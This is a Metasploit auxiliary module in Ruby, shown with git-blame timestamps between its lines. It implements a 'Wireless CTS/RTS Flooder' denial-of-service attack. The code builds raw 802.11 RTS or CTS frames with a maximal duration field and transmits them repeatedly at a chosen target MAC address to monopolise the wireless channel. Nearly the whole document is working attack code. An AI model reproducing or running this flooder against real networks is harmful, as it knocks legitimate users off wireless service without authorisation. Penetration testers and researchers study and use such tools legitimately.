2010-04-30 08:40:19 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2010-04-30 08:40:19 +00:00
|
|
|
##
|
|
|
|
|
2008-04-21 05:41:53 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2008-04-21 05:41:53 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Lorcon2
|
|
|
|
include Msf::Auxiliary::Dos
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info ={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Wireless CTS/RTS Flooder',
|
|
|
|
'Description' => %q{
|
|
|
|
This module sends 802.11 CTS/RTS requests to a specific wireless peer,
|
|
|
|
using the specified source address,
|
|
|
|
},
|
|
|
|
'Author' => [ 'Brad Antoniewicz' ],
|
|
|
|
'License' => MSF_LICENSE
|
|
|
|
))
|
2010-05-03 17:13:09 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('ADDR_DST',[true, "TARGET MAC (e.g 00:DE:AD:BE:EF:00)"]),
|
|
|
|
OptString.new('ADDR_SRC',[false, "Source MAC (not needed for CTS)"]),
|
|
|
|
OptString.new('TYPE',[true,"Type of Frame (RTS, CTS)",'RTS']),
|
|
|
|
OptInt.new('NUM',[true, "Number of frames to send",100])
|
|
|
|
],self.class)
|
|
|
|
end
|
2008-04-21 05:41:53 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run
|
|
|
|
case datastore['TYPE'].upcase
|
|
|
|
when 'RTS'
|
|
|
|
if (!datastore['ADDR_SRC'])
|
|
|
|
print_error("FAILED: RTS Flood selected but ADDR_SRC not set!")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
frame = create_rts()
|
|
|
|
when 'CTS'
|
2008-04-21 05:41:53 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
frame = create_cts()
|
|
|
|
else
|
|
|
|
print_error("No TYPE selected!!")
|
|
|
|
return
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
open_wifi
|
|
|
|
print_status("Sending #{datastore['NUM']} #{datastore['TYPE'].upcase} frames.....")
|
2008-04-21 05:41:53 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
datastore['NUM'].to_i.times do
|
|
|
|
wifi.write(frame)
|
|
|
|
end
|
2008-04-21 05:41:53 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
def create_rts
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
frame =
|
|
|
|
"\xb4" + # Type/SubType
|
|
|
|
"\x00" + # Flags
|
|
|
|
"\xff\x7f" + # Duration
|
|
|
|
eton(datastore['ADDR_DST']) + # dst addr
|
|
|
|
eton(datastore['ADDR_SRC']) # src addr
|
2008-04-21 05:41:53 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
return frame
|
|
|
|
end
|
|
|
|
def create_cts
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
frame =
|
|
|
|
"\xc4" + # Type/SubType
|
|
|
|
"\x00" + # Flags
|
|
|
|
"\xff\x7f" + # Duration
|
|
|
|
eton(datastore['ADDR_DST']) # dst addr
|
2008-04-21 05:41:53 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
return frame
|
|
|
|
end
|
2008-11-13 06:27:31 +00:00
|
|
|
end
|